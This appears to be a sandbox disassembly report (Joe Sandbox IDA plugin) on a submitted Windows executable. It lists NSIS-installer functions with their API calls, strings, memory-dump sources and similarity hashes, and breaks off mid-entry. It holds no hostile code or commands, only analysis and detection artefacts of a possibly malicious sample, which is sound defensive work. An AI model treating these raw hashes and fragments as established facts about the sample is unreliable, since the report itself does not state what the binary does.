Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00429574,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
`G, xrefs: 0040246E
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00429574,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0000D000,00000064,001232F2), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(00000000), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
NormMimeThFreightNaturalInfrared, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$NormMimeThFreightNaturalInfrared$Pop: stack empty
API String ID: 1459762280-1227625581
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
